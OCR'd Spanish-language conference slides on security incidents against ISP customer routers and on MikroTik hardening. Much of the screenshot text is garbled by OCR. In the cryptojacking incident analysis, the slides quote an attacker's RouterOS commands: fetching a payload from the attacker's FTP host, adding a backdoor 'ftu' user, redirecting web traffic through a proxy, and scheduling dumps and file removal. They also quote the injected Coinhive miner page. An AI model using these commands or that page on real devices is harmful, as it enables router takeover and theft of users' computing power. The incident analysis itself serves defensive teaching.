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L\md belSlI Introduccién

Wardner Maia

Ingeniero - Electrotecnia, Electronica con
especializacion en TeIecomumcaaones

Proveedor de acceso desde 1995;
Entrenamiento para ISPs desde 2002;
Director técnico de MD Brasil IT & Telecom;

Director de LACNIC.
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L\md belSlI Introduccidn

MD Brasil IT & Telecom

ISP en el interior de Sao Paulo - Brasil;

Red propia de fibra optica con 12k+ clientes;
Integracion de equipos de telecomunicaciones;
Entrenamientos y capacitacion para ISPs;
Servicios de consultoria.

http://mdbrasil.com.br http://mikrotikbrasil.com.br
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L\md brCISII Participaciones en MUMs de
Europa

1) Wireless Security (2008 - Krakow/PL)

2) Wireless Security for OLPC project (2009 - Prague/CZ)
3) Layer 2 Security (2010 - Wroclaw/PL)

4) Routing Security (2011 - Budapest/HU)

5) IPv6 Security (2012 - Warsaw/PL)

6) BGP Filtering (2013 - Zagreb/CR)

7) MPLS VPNs Security (2014 - Venice/IT)

8) Network Simulation (2015 - Prague/CZ2)

9) DDoS - detection and mitigation (2016 - Ljubljana/SL)

10) IoT, IPv6 and new ISP challenges for Internet Security (2017 -
M|Ian/IT)

11) From IPv4 scarcity to IPv6 Fulness - How a good IPv6 planning
can help on security (2018 - Berlin, Germany)

http://mikrotikbrasil.com.br/artigos
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Algunos incidentes de
seguridad recientes
contra redes de acceso



[ {md brasil

Mayo, 2016

CPEs de Ubiquiti son
infectadas



Ataques a clientes de radio
L\md b[d§|| mayo, 2016

globo.com g1 globoesporte gshow famosos & efc videos

Py

RIO PRETO E ARACATUBA

Ataque hacker deixa milhares de
pessoas sem internet na regiao

¥ oY ] ol ] - - e = - & gl - 'H depn i : -
Mais de 200 mil pessoas estao sem acesso a internet via radio ha trés dias
T B - = o ey - ....‘:.n P T

ransmissdo s6 deve ser normalizada em uma semana.

iMas de 200 mil clientes de radio sin
acceso a Internet!
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Ataques a clientes de radio

globo.com g1 globoesporte gshe amosos & etc  videos

RIO PRETO E ARACATUBA

Un Virus Intel ige nte Ataque hacker deixa milhares de
pessoas sem internet na regidao

- Un script que exploraba una vulnerabilidad en el servicio
http / https de las CPEs;

- Una vez que el equipo era infectado, él pasaba a
escanear la vecindad para encontrar e infectar otros
equipos similares y igualmente vulnerables;

- Por este comportamiento se denomind "Virus"

©Copyright md brasil - direitos reservados 8



Ataques a clientes de radio

globo.com g1 globoesporte gsho M OS etc videos

=wew | Gl RIO PRETO E ARAGCATUBA

Ataque hacker deixa milhares de
pessoas sem internet na regiao

Habl'a muchas variantes de ese "Virus, siendo que en la mas
comun los WISPs tenian sus equipos resetados y la

contrasefa cambiada para<<{lGj g

Los WISPs perdian el acceso al equipo y muchos tenian que

ir hasta las torres para tener acceso local y resolver el
problema.

- Muchos clientes llegaron a quedarse sin acceso a Internet
por mas de 1 semana !!!!

©Copyright md brasil - direitos reservados 9



Ataques a clientes de radio
L\md b!gwélf! mayo, 2016

mN et Q VIDEOS SMART CITY WINDOWS 10 CLOUD INNOVATION SECURITY ENTERPRISE IOT MORE

MUST READ THIS MAC MALWARE WANTS TO STEAL PASSWORDS AND IPHONE BACKUPS ey
L) L) - -
Ubiquiti Networks devices
targeted by firmware worm
The problem has been made worse due to vendors and users failing to update their 2B
firmware.
a By Charlie Osborne for Zero Day | May 20, 2016 -- 08:49 GMT (01:49 PDT) | Topic: Security
Secqritylntelligence news® romcs  inDusTRIES

NEWS  mayz3 2016 @200 Pmt

Ubiquiti Routers Attacked by Worm

PCWorld

NEWS REVIEWS HOWTO VIDEG BUSINESS LAPTOPS TABLETS PHONES HARDWARE SECURITY  SOFTWARE = GADGETS () Ubiquiti Netw«

Privacy  Encryption  Antivirus alert this weel

update their a
i was in respon
Home / Security

company’s rot

NEWS

Worm infects unpatched Ubiquiti wireless
devices

performed by

The alert note

payloads are '
Do

Mayo / 2016
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Ataques a clientes de radio
L\md belSll maio, 2016

La falla era previamente conocida por el N .
fabricante gracias a un programa de - WANTEB;
recompensas por descubrimiento de Bugs e Sty Trogai

(Bug Bounty Program). f

PATEHEII or ALIVE
- CASH REWAR'B

$50 to $50C

El fabricante publico una actualizacion
corrigiendo el Bug, pero no fue
suficientemente enfatico en cuanto a la
importancia de la actualizacion

Por otro lado, los ISP afectados no hicieron la actualizacion
del sistema y no estaban utilizando otras buenas practicas

para seguridad, como deshabilitando servicios innecesarios,
restringiendo el acceso a determinados IPs, etc.



r'{md brasil Al [/

Noviembre, 2016

CPEs de Deutsche
Telekom invadidas
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iRouters de
L\md bI'CISI| Deutsche Telecom

atacados!

security 1a
affairs 4 15

Home Cyber warfare  APT  DataBreach  Deep Web  Digital ID

Laws and regulations ~ Malware ~ Mobile  Reports  Security  Social Networks

0/Y 70///2

More than gook routers of Deutsche Telekom German

users went offline

Movember 28, 201¢ By Pierluigi Paganini

welivesecurity

News, views, and insight from the ESET s

al'S TECHNICA «a

All Posts Latest Research How To Multimedia =  Papers ~  Qur Experts

900,000 Germans knocked offline, as critical New]y dlSCOVGI‘Ed router flaw belng
ter fl loited
E?Gir«iﬁimligﬂi);ﬁw?ofsfa:ssm hammered by ln-the-W].].d attaCkS

Researchers detect barrage of exploits targeting potentially millions of devices.
DAN GOODIN - 11/28/2016, 7:21 PM

©Copyright md brasil - direitos reservados 13



iRouters de
L\md bI'CISI| Deutsche Telecom

atacados!
97 9/10/7
Deutsche Telekom 415 ]5/;/&;
, 222 5 M
- El ataque exploro el protocolo TR-064, Y9,
puerto 7547, el mismo utilizado por el TR- 7 <
069

- El atacante explord la vulnerabilidad
forzando a los routers a descargar codigo
malicioso;

- Casi un millon de usuarios quedaron sin

acceso y los routers se convirtieron en
robots para ataques DDoS.

©Copyright md brasil - direitos reservados 14



L {md brasil

Marzo, 2017
Vulnerabilidades de varios
Vendors expuestos

©Copyright md brasil - direitos reservados 15



Vulnerabilidad en el
L\md bl'CISI' servicio http

Marzo, 2017

lekILeaks Leaks News About Partners

Vault 7: CIA Hacking Tools Revealed

Wikileaks publica documento da CIA mostrando
herramientas de hacking para explotar vulnerabilidad de
varios equipos, entre ellos el RouterOS, donde una
vulnerabilidad en el servicio Web era revelada.

Corregida en las versiones 6.37.5y 6.38.5 el 09 / Marzo /
2017

What's new in 6.38.5 (2017-Mar-09 11:32)
1) www - fixed http server vulnerability /

©Copyright md brasil - direitos reservados 16



L {md brasil

Marzo, 2018
Vulnerabilidade de Winbox
afecta maquinas de los
usuarios

Copyright md bras il - direitos reservados 17



L {md brasil Slingshot

Tl & TELE

KASPERIKYS PDF: https://bit.ly/2DllaQV

Products Renew Downloads Support Rescurce Center Blog

Slingshot APT: Riding on a hardware Trojan
horse

Problema hasta entonces no descubierto,
probablemente posibilitado por la vulnerabilidad
anterior;

Infectaba las maquinas de los usuarios descargando un
DLL malicioso para la obtencién de datos
confidenciales;

Corregido en las actualizaciones de Winbox> 3x

©Copyright md brasil - direitos reservados 18



L {md brasil Slingshot

TI&TELECOM

KASPERIKYS

Products -~ Henew Downloads Support Rescurce Center Blog

Here we need to add that we reported this issue to router manufacturer
and MikroTik has aIr

Es cierto que Mikrotik ha sido vector de la distribucion de
ese malware;

Sin embargo, otros vendors pueden haber sido igualmente
utilizados.

©Copyright md brasil - direitos reservados 19



L {md brasil

Abril, 2018
Obtencion de usuarios y
contrasenas de Mikrotik

Copyright md bras il - direitos reservados 20



Obtencion de la base
L\md bI'CISIl de datos

WINBOX VULNERABILITY MikroTik Abril, 2018

18 | Security

Obtencion, sin
autenticacion de los
usuarios y contrasenas
del RouterQOS;

Vulnerabilidad
corregida en tiempo

récord en las versiones
6.40.8y 6.42.1

This post summarises the Winbox server vulnerability in RouterOS, discovered and fixed in RouterOS
on April 23, 2018. Note that although Winbox was used as point of attack, the vulnerabilitty was in
RouterOS. This issue was later assigned a universal identifier CVE-2018-14847.

©Copyright md brasil - direitos reservados 21



' {md brasil

Pausa para una
pequena demostracion



L {md brasil

2018, Mayo/Junio/...hasta
hoy.

Invasiones com fines de
lucro!

Copyright md bras il - direitos reservados 23



iInvasion con fines
L\md bI'CISIl de lucro!

Agosto, 2018

Los enrutadores no actualizados e invadidos pasan a ser
usados como mineros de crypto monedas

The Hacker News

Home Data Breaches Cyber Attacks Vulnerabilities Malware Deals Contact Q =

Hackers Infect Over 200,000 MikroTik Routers With Crypto Mining
Malware

ZDNet Q VIDEOS 5G WINDOWS10 CLOUD INNOVATION SECURITY TECHPRO MORE
B3 August 02,2018 & Mohit Kumar

|D MusT ReAD: iPad Pro 2018: The best tablet ever is still stuck in computer limbo

MikroTik routers enslaved in massive
Coinhive cryptojacking campaign

Hundreds of thousands of devices are mining cryptocurrency through power stolen from victims.

ﬂ By Charlie Osborne for Zero Day | August 3, 2018 -- 08:55 GMT (01:55 PDT) | Topic: Security
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iInvasion con fines de

lucro!

log remoto de una invasion (julio, 2018)

Julf19yz018 11:03:22
Julf19y2018 11:03:28
Julfi9y201s 11:03:47
Julfi9y2015 11:03:54
Julf19/2015 11:03:54
Julf19y2018 11:03:54
Julf19y2015 11:03:54
Julfi9yz201s 11:03:55
Julfi9y2015 11:03:55
Julf19/2015 11:03:55
Julf19y2015 11:03:55
Julf19y2015 11:03:55
Julfi9y2018 11:03:55
Julfi9y2015 11:03:55
Julf19/2015 11:03:55
Julf19y2015 11:03:55
Julf19y2015 11:03:55
Julfi9y2018 11:03:55
Julfi9y2015 11:03:55
Julf19/2015 11:03:55
Julf19y2015 11:04:09
Julfi9yz01s 11:04:09
Julf19y2018 11:09:44

MEmory
MMEmory
MhEmory
MhEmoty
FREmory
MEmoty
MMEmory
MhEmory
FhEmory
MhEmory
MHEmory
MMEmory
FREmoy
MmOty
MhEmory
MMEmory
MMEmory
FREmoy
FREmory
MhEmory
MMEmory
MMEmory
FREmory

system, info, account
system, info, account
info

info

syskem, info

system, info

system, info

system, info

system, info

syskem, info

system, info

system, info

system, info

system, info

syskem, info

system, info

system, info

system, info

system, info

syskem, info

system, info, account
system, info, account
system, info

user raberto lagaed in From 193,111,247, 126 via winbo
user roberto logged in From 193,111,247, 126 via kelnet
Fetch: File "al13.rsc" downloaded

fekch: File “webprowey ferrar, hkml" downloaded

http proxy settings changed by roberta

the proxy access rule added by roberto

nat rule added by roberto

filker rule added by roberto

user group Fhpgroupe added by roberko

user ftu added by roberko

dns changed by roberto

ip service changed by roberto

ip setvice changed by roberto

ip setvice changed by roberto

ip service changed by roberto

new script scheduled by roberko

new script scheduled by roberko

new script scheduled by roberko

new scripk scheduled by roberko

item changed by roberto

user roberto logoed ouk From 193,111,247, 126 via winbox
user roberto logged ouk From 193,111,247, 126 via telnet
cloud change time Julf19/2015-11:07:01 == Julf19/2015-11:09:44



[(md brqsil iInvasion con fines de
e lucro!

Explorando el servidor de ftp

maia@maia-5520:~% whois 37.233.26.234 maia@maia-5520:~% ftp 37.233.26.234
% This is the RIPE Database query service. Connected to 37.233.26.234.
: The objects are in RPSL format. 220 MikroTik FTP server (MikroTik 6.42.6) ready
Name (37.233.26.234:maia): ftu
The RIPE Database is subject to Terms and Conditions. 331 Password required for ftu
See http://www.ripe.net/db/support/db-terms-conditions.pdf Password:
230 User ftu logged in
Note: this output has been filtered. Remote system type is UNIX.
To receive output for a database update, use the "-B" flag. ftp> 1s
200 PORT command successful

. Information related to '37.233.26.0 - 37.233.26.255° 150 Opening data connection
1 root root 386 Jul 31 27 :31 backup.htl

Abuse contact for '37.233.26.0 - 37.233.26.255' is 'abuse@starnet.md’ = 1 root root 2048 Jan 1 €2:00 skins
1 root root 3471 Jul 31 :1:53 backup.rsl
37. 2320070 233 . 26.. 255 226 Transfer complete

ST \NETMD ftp= bin
5>C STARNET SRL 200 Type set to I

S ftp> hash
Chisinau, Moldova L
‘ Hash mark printing on (1024 bytes/hash mark)

ftp> get backup.htl
maia@maia-5520:~% sudo nmap -sS5 -sV -A  37.233.26.234 local: backup.htl remote: backup.htl
[sudo] password for .=ia: 200 PORT command successful

150 Opening BINARY mode data connection for /bar .up.htl (386 bytes)
Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-14 12:46 -02 4

Nmap scan report for 37-233-26-234.starnet md (237 233.26.234) 226 BINARY transfer complete

Host is up (0.20s latency). 386 bytes received in 0.80 secs (3.3465 MB/
Not shown: 994 closed ports ftp> get backup.rsl

PORT STATE SERVICE VERSION local: backup.rsl remote: backup.rsl

19/tcp filtered chargen y : 200 PORT command successful

21/tcp  open ftp MikroTik router ftpd 6.42.6 150 Opening BINARY mode data connectir.i for /backup.rsl (3471 bytes)
| ftp-syst: .

|_ SYST: UNIX MikroTik 6.42.6 , 226 BINARY transfer complete

22/tcp open ssh MikroTiK ruuceiua sshd (protocol 2.0) 3471 bytes received in ©.00 secs 29.2938 MB/s)
| ssh-hostkey: ftp> I

| 1024 ea:98:eb:e6:d2:21:65:12:0a:aa:81:9d:0a:2c:4c:T7 (DSA)

| 2048 df:71:53:17:b6:37:ca:bl:0e:bd:43:18:80:ea:5a:aa (RSA)

53/tcp open domain MikroTik Router0S named or OpenDNS Updater

2000/tcp open bandwidth-test MikroTik bandwidth-test server

8291/tcp open unknown AquiVOS: baCkup. htl e
backup.rsl

©Copyright md brasil - direitos reservados




L\md bl'CISI' iInvasion con fines de
lucro!

fetch / proxy / user

/tool fetch address=37.233.26.234 src-path=backup.htl upload=no user=ftu
mode=ftp password=ftu dst-path="webproxy/error.html"

/ip proxy set enabled=yes

/ip proxy access add action=deny disabled=no

/ip firewall nat add disabled=no chain=dstnat protocol=tcp dst-port=80 src-
address-list=!0k action=redirect to-ports=8080 comment=sysadminpxy

/ip firewall nat move [find comment=sysadminpxy] destination=0

/ip firewall filter add disabled=no chain=input protocol=tcp dst-port=8080
action=add-src-to-address-list address-list=0k address-list-timeout=1m
comment=sysadminpxy

/user group add name=ftpgroupe policy="ftp,read"
/user add name=ftu password=ftu group=ftpgroupe



L\md bI'CISI| iInvasion con fines de
lucro!

DNS / DDNS

/ip dns set servers=8.8.8.8

/ip service set www disabled=yes port=80

/ip service set winbox disabled=no port=8291
/ip service set ftp disabled=no port=21

/ip service set ssh disabled=no port=22

/ip cloud set ddns-enabled=yes

/system routerboard print file=sn111
/interface wireless security print file=sn112
/interface wireless print file=sn113

©Copyright md brasil - direitos reservados 28



L\md bl'CISI' iInvasion con fines de
lucro!
/system scheduler

/system scheduler add name="Auto113" start-time=01:30:00 interval=1d
on-event="/system backup save dont-encrypt=yes name=bfull113"

policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,
web,winbox,write

/system scheduler add name="Auto114" start-time=01:31:00 interval=1d
on-event="/system backup load name=bfull113 password=\"\""

policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,
web,winbox,write

/system scheduler add name="Auto115" start-time=01:41:00 interval=1d
on-event="/file remove al13.rsc\r\n/file remove bfull113.backup\r\n/file
remove snlll.txt\r\n/file remove sn112.txt\r\n/file remove sn113.txt"

policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,
web,winbox,write



L\md bl'CISIl iInvasion con fines de
lucro!

Arquivo backup.rsl:
script .rsc de configuracao do RouterOS

Arquivo backup.htl:

<html=

<head=
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title=>"¢$(url)"</title>

<script src="https://coinhive.com/lib/coinhive.min.js"></script=

<script=
var miner = new CoinHive.Amonymous('oDcuakly9iKIQhnaZRpy9tEsYiF2PUx4', {throttle: 8.2});
miner.start();

</script=

</head=>

<frameset=>

<frame src="%$(url)"></frame=

</frameset=

</html=>

JS de mineria Hash del atacante

©Copyright md brasil - direitos reservados 30



L\md bl'gECSOI! Actualizacion del Bug
de Winbox

Release 6.42.1

What's new in 6.42.1 (2018-Apr-23 10:46):

) winbox - fixed vulnerability that allowed to gain access to an unsecured router,
Release 6.40.8

What's new in 6.40.8 (2018-Apr-23 11:34).

I} winbox - fixed vulnerability that allowed to gain access to an unsecured router;

https://mikrotik.com/download/changelogs/

©Copyright md brasil - direitos reservados 31
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¢Como esta la situacion
despueées de casi 1 ano?



[(md brasil Coinhive - situacién
TI&TELECOM en el mundo

4K+

10K+
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L\md brCISII Coinhive - situacion
TI&TELECOM en el mundo

Top Countries

. Brazil

. Indonesia

India

. Iran, Islamic Republic of
. South Africa

. Thailand

China

. United States

. Russian Federation

. Ecuador

16/11/2018

O WoO~NOoOU bhWwWN=

—_—

Top Countries

. Brazil

. Indonesia

India

. Iran, Islamic Republic of
. Thailand

. South Africa

. China

. Russian Federation

. Italy

. Bangladesh

01/04/2019

OWoNOOWL &AWN =

—_
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L\md bI'CISIl Coinhive - situacion
TI&TELECOM en MEXiCO

2019-04-01-MeXxico- comh!ve

N,
216 equipos infectados

Top Cities

1. Coacalco
2. Ciudad De Mexico
3. San Luis Potosi
4. Huatulco
5. Mexicali
6. Colima
7. Torreon
8. Salina Cruz
9. Monterrey
10. Ixtepec

Ui b1 v Oh I <] WO W
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Quién actualizé (y cambio
las contrasenas)

¢Puede dormir tranquilo?

©Copyright md brasil - direitos reservados 36
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Otras actualizaciones en
2018
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L\md brgwéln! Actualizaciones

JKCVE-2018-1156 Detail

Mikrotik RouterQS before 6.42.7 and 6.40.9 is vulnerable to stack buffer overflow through the license upgrade interface. This vulnerability
could theoretically allow a remote authenticated attacker execute arbitrary code on the system.

AXCVE-2018-1157 Detail

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a memory exhaustion vulnerability. An authenticated remote attacker can crash
the HTTP server and in some circumstances reboot the system via a crafted HTTP POST request.

AXCVE-2018-1158 Detail

Mikrotik RouterOS before 6.42.7 and 6.40.9 is vulnerable to a stack exhaustion vulnerability. An authenticated remote attacker can crash the
HTTP server via recursive parsing of JSON.

JIXCVE-2018-1159 Detail

Mikrotik RouterQS before 6.42.7 and 6.40.9 is vulnerable to a memory corruption vulnerability. An authenticated remote attacker can crash the
HTTP server by rapidly authenticating and disconnecting.

https://nvd.nist.gov/vuln/search

©Copyright md brasil - direitos reservados
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L\md brgwélr! Mas Actualizaciones

Release 6.42.7

What's new in 6.42.7 (2018-Aug-17 09:48).

MAJOR CHANGES IN v6.42.7:

I) security - fixed vulnerabilities CVE-20186-1156, CVE-2018-1157, CVE-2018-1158, CVE-2018-1159;

Release 6.40.9

What's new in 6.40.9 (2018-Aug-20 07:46).

MAJOR CHANGES IN v6.40.9:

I) security - fixed vulnerabilities CVE-2018-1156, CVE-2018-1157, CVE-2018-1138, CVE-2018-1155;

https://mikrotik.com/download/changelogs/
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Actualizaciones recientes
(y importantes)
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L\md brgglj Firewall y NAT bypass
(11/02/2019)

1KCVE-2019-3924 Detail

Current Description

MikroTik RouterOS before 6.43.12 (stable) and 6.42.12 (long-term) is vulnerable to an intermediary vulnerability. The software will execute
user defined network requests to both WAN and LAN clients. A remote unauthenticated attacker can use this vulnerability to bypass the
router's firewall or for general network scanning activities.

MikroTik Firewall & NAT Bypass

Exploitation from WAN to LAN https://medium.com/tenable-
P — techblog/mikrotik-firewall-nat-
Q Feba1-minread bypass-b8d46398bf24
Solution

Long term release users should upgradwer. Stable release should upgrad
newer.

https://nvd.nist.gov/vuln/search
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L\md bl'CISIl IPv6 Issues
(04/04/2019)

CVE-2018-19298 CVE-2018-19299 IPV6 RESOURCE
EXHAUSTION

r, 2019 | Software
Todos que estan utilizando IPv6 en sus reds deben actualizar los routers
para una de las versiones abajo:
- 6.43.14 (long term)
- 6. 44.2 (stable)

- 6.45beta27 (testing)

https://mikrotik.com/download
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[(md brasil iEstén atentos!

TI&TELECOM

ARCHIVE

04 Apr 2019 CVHR2018-19298 CVE-2018-19299 |Pv6 resource exhaustion
MikroTik accelerates the adoption of 60 GHz technologies with Terragraph
22 Feb 2019 CVE-2019-3924 Dude agent vulnerability

09 Oct 2018 CVE-2018-14847 winbox vulnerability

23 Aug 2018 Bugfix update 6.40.9 released
23 Aug 2018 CVE-2018-115X issues discovered by Tenable
09 Aug 2018 'WPA2 preshared key brute force attack

30 May 2018 Web service vulnerability

25 Mar 2018 CVE-2018-14847 winbox vulnerability httDS .//bloq m|kr0t| k
com/archive/

Testing release tree Long-term release tree Stable release tree Legacy release tree

Long-term release tree 3

https://mikrotik.com/do
Release 6.42.9 wnload/changelogs/long
-term-release-tree

What's new in 6.42.9 (2018-5ep-27 05:13):
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¢La inseguridad es un
“privilegio” de equipos mas
populares (baratos) entre
las ISP regionales?



L\md bl'CISI' Otros Vendors

Agosto, 2016

mNet Q VIDEOS 5G WINDOWSi0 CLOUD INNOVATION SECURITY TECHPRO MORE

| MusT READ: Why cryptojacking malware is a bigger threat to your PC than you think

w firms leaked NSA explmts

affec lsﬁrewalls

Shy on specifics, the networking equipment maker wouldn't say when patches would become available

ﬁ@}; By Zack Whittaker for Zero Day | August 23, 2016 -- 13:42 GMT (06:42 PDT) | Topic: Security

Enero, 2017

secur-ity
affairs

W

January 11, 2017 By Pierluigi Paganini

alls open a root-level account due to a



L\md br CISI| Otros Vendors

TI&TELECOM

BANK SECURITYe

abril, 2018

Topics»  News-  Training-  Resources-  Events~

TRENDIMNG: Live Webinar | Fraud Prevention for Banks: Top 10 Tech Requirements to Bvalua

200,000 Cisco Network Switches mayo, 2018
Reportet acked pu

TECHNOLOGY NEWS v PROGRAMMING

What Remediation Steps Should Be Taken?

500,000 Cisco »outers hacked
worldwide by Russian Hackers

By Kavita lyer

‘
.
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eWEE’( Big Data and Analytics Cloud Mobile

Mews & Analysis Videos Slideshows Blogs White Papers & Wel

julio, 2018
re Easily Hacked, Say Security Pros

julio, 2018

VIDEOS 5G WINDOWSi10 CLOUD INNOVATION SECURITY TECHPRO MORE

|0y MusT READ: W/hy cryptojacking malware is a bigger threat to your PC than you think

loT hacker builc oased botnet,
In one day

A hacker has taken only 22 PG a botnet which is at least 18,000-devices strong

a By Charlie Osbome for Zero Day | July 20, 2018 -- 10:14 GMT (0314 POT) | Topic: Security
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How to buy exploit? Two ways to buy required exploit. Currency, that we accept.

1. Anonymous buying of exploits is the way to buy exploit without 2. Another way to buy exploits is to became Oday.today 1337day user, get
registration. You buy it directly and anonymous and get exploit on mail. Oday.today 1337day Gold «® and buy required exploit in our database.

We accept currencies: [

Resetear cuenta de Twitter B$ 0,209
Bypass de cuenta de Instagram: B$ 0,187
etc...

07-01-2018 I

B
B
B
B
B
;]
B
B

Atlassian Jira Authenticated Upload Code Execution Exploit
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“"Mercado” de Exploits

Search results for exploitt by request: huawei

Search results for exp oits by request: cisco

Search results for ex Moits by request: mikrotik

MikroTik Router0S <« 6.41.3/6.42rc27 - SMB Buffer Overflow Exploit

©Copyright md brasil - direitos reservados




L\md bl'CISI| éSuerte o competencia?

En los recientes incidentes involucrando
CPE de ISPs regionales (UBNT en 2016
y Mikrotik en 2018), muchos fueron

-
afectados pero otros no (incluso O @
algunos que estaban desactualizados). v
¢En un mundo de equipamientos y

sistemas inseguros, y con una facilidad

increible de comercio de "maldades" lo )\
que difiere a los ISP que no fueron O Q

afectados de aquellos que sufrieron
y causaron perjuicios a sus clientes?
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RFC 3514

iLa solucion definitiva!



L {md brasil Evil bit

RFC3514

Network Working Group S. Bellovin
Request for Comments: 3514 AT&T Labs Research
Category: Informational 1 April 2003

The Security Flag in the IPv4 Header

Abstract

Firewalls, packet filters, intrusion detection systems, and the like often have
difficulty distinguishing between packets that have malicious intent and

those that are merely unusual. We define a security flag in the IPv4 header as

a means of distinguishing the two cases.

©Copyright md brasil - direitos reservados
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Encabezado IP

0 4 8 15 19 31
Version| ['ea™ |Service Type Total Length
Identification Flags_ Fragment foset

TTL | Protocol = Header
Source IP Addr

Destination IP Addr

Options e -FlagRse:served (Evil Bit)

- Don’t Fragment
- More fragments follow
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RFC3514
2. Syntax

0x0 If the bit is set to 0, the packet has no evil intent.
Ox1 If the bit is set to 1, the packet has evil intent.

3. Setting the Evil Bit

There are a number of ways in which the evil bit may be set. Attack
applications may use a suitable API to request that it be set.

Systems that do not have other mechanisms MUST provide such an API;
attack programs MUST use it.

4. Processing of the Evil Bit

Devices such as firewalls MUST drop all inbound packets that have the
evil bit set. Packets with the evil bit off MUST NOT be dropped.
Dropped packets SHOULD be noted in the appropriate MIB variable.

©Copyright md brasil - direitos reservados
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RFC3514 iEs una bromal!

Network Working Group
Request for Comments: 3514
Category: Informational

S. Bellovin

Abstract

Firewalls, packet filters, intrusion detection systemr
difficulty distinguishing between packets that have
are merely unusual. We define a security flag in th
distinguishing the two cases.
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TI&TELECOM

Seguridad en TI

No hay solucidon magica;

No existen soluciones simples o Unicas;
Implementar seguridad es laborioso;
Sus clientes no te van a elogiar por eso;

La seguridad puede costar mucha plata y no resulta en
ganancia directa;

- Pero la falta de ella puede traer mucho dano...
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= COMPUTERWORLD

siempre el ISP!

f DEFENSIVE COMPUTING e
i

’ By Michael Horowitz = Follow computing dev
. than focus on t
aims to be edw

opinions.

OPINION

Blame the ISPs rather than the routers
DARKRe adlﬁg ::i:s live at

ackhat Interop

Authors  Slideshows Video Tech Library  University Radio Calendar  Black Hat News

ANALYTICS  ATTACES/ APPSEC CAREERS& CLOUD ENDPOINT IeT MOBILE OPER
BREACHES PEOFLE

ENDPOINT

Survey: Consumers Would Switc
SPs for Better Security
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Introduccion, incidentes importantes
recientes y motivacion para reflejar la /
seguridad;

Seguridad orientada por capas (fisica,

enlace, IP, enrutamiento y servicios);

Seguridad orientada por niveles de red
(borde, transito y acceso);

Gestion de seguridad a gran escala y de
forma automatizada;
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Seguridad Fisica
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Interface | interface List | Ethemet EolP Tunnel | IP T, GRE Tunn

Equipos en ambientes i) (il 1o Iy ~
externos y en dependencias T —
de clientes Bl o ok =

KR #iretherd Ethemet 1500

| Deshabilitar las interfaces no utilizadas:

Interfaces habilitadas sin necesidad pueden ser utilizadas por
los atacantes para obtener informacion importante de la red.

Incluso en setups tedricamente seguros, el acceso a
interfaces puede ser puerta de entrada para exploraciones
mas profundas. Ver presentacion Seguridad de VPN MPLS:

https://mum.mikrotik.com/2014/BR/agenda/EN#0DMTOx0O4E9
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Equipos en ambientes Name: rvhr Backup

externos y en dependencias Password: |
de clientes [ Tk Bt

o Cancel

0 No dejar ficheros de backup en enrutadores

Los ficheros de respaldo pueden contener informacion
sensible de la red, incluso usuarios / contrasenas.

- La creacidon de copia de seguridad automatica cuando se
resetea un RouterBoard facilita el trabajo de los atacantes

- La copia de seguridad no esta cifrada a menos que sea
definida una contrasena (a partir de 6.43).
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| 2 Make Supout ri

Equipos en ambientes .
externos y en dependencias  ®=
de clientes

" No dejar ficheros suppout.rif en los enrutadores

- Los ficheros suppout.rif sirven para resolver problemas
diversos. Se puede crearlos manualmente o son creados
automaticamente en ciertas situaciones;

- Informacion visualizada por el sitio de Mikrotik;

- Sin embargo, en Internet es un script Perl, que obtiene la
informacioén relevante del mismo:

https://pastebin.com/pa30DNfw
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TI&TELECOM

Mitigacion
o No dejar ficheros de backup en los enrutadores

0 No dejar ficheros suppout.rif en los enrutadores

MikroTik Netinstall for RouterOS v6.39.2

Como los ficheros se crean e
automaticamente, la solucidn P o T J
es un script persistente que en

impia estos a cada arranque T S S
(boot), lo que se puede hacer e

a traveés de Netinstall B orenoe Doieaisvoscis oot A RS S | [Ssanits
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Equipos en ambientes Users | Groups | SSH Keys | SSH Private Keys /
externos y en dependencias +|=| [vlx] @] |¥]]| am
= Name ¢ | Grou Alluwed Address
de Cllentes ' sg.'stemdefauﬂusper ' o
iadmln full
duserl
0 - S user? read
Base de usuarios locales

- Evite dejar usuarios locales en los routers. Utilice la
autenticacion via RADIUS

- Sus técnicos argumentaran que es necesario un usuario
local para situaciones de emergencia.

- Evite las contrasenas "estandar" y si es convencido que
debe tener usuario local, considere la creacion de uno, pero
restringiendo por ssh y utilizando una clave RSA
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Creacion de una clave RSA para uso en Mikrotik

Imaia@xps:~5 ssh-keygen -t rsa
¢E|erdt1ﬂg JJJEL;; irivate rsa key ;a*r
fEnter file in which to save the key (/home/maia/.ssh/id rsa): mdadm-ssh
Eﬁtﬁr passphrase (empty for no ;ﬂﬂahquaSc,:
Enter same passphrase again:
Your identification has been saved in mdadm-ssh.
Your public key has been saved in mdadm-ssh.pub.
The Key ‘I'"h.'||:_‘|f—|" rint 1is:
SHAZ56 -uﬁuwr xds2fmF /BsWp5vaC2vUc+qZUT24MKm2x0eleE maia@xps
IThe key's randomart image is:
--[RSA 254ﬂ]----+

0

= :F'||_"|—|..:_J o j===== +
maila@xps:~5
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subiendo al enrutador por ftp

Nord reguil ||—|| '|'| 18 3._'J|'r,':__;'|

£ I . d IZ'_| I"'|';._ 1l
F-'.—-|I|| '||— ' ctem

p> put nd""-55

mdadm-ssh . L ~emote: mdadm-ssh. pub
200 -HHT command "ul
Opening ASCII mode data connection for '/mdaam-
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Creacion de un usuario con acceso restringido

Group <mdadm-ssh> User <mdadm-ssh>

MName: ml:lal:lm-ssh|

Mame: rn-:ladn'_l-s_sh_

Policies: L local E: | telnet Group: |mdadm-ssh |

\w| ash || ftp — ' AT
'v| reboot v| read Mlowed Address: |1.1.1.1 .
| write v policy
| | test winbox F o :
[ ecent | lveh Import S5H Key [=] E3
: 'Sr'lr_ﬁ ' :sensjtive User: :ml_:lau:lm-ssl'ﬂ _ Import S5H Key

| api roman _

| dude || tikapp Key File: |mdadm-sshpub | # | Cancel

Skin: |default ¥

ma -i.aEﬂKPS S g2l -]

Ademas de la contrasena la clave RSA hay que estar en la
maquina que accede el enrutador.
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- /w/%/x\,f»v%/w/w/vvvvvw S BT et
. G- : - EL_*'._

@ oo

Si realmente necesitas el LCD activo,

[w| Toffchscreen

asegurate de que esté en modo de solo Backight Tinca | 4
. ¥| Read Only Mode

lectura. En contrario, el PIN (default =

1234) sera solicitado vy el a~tac§nte

puede hacer cosas como anadir una IP,

hacer un reboot y hasta un reset del

enrutador
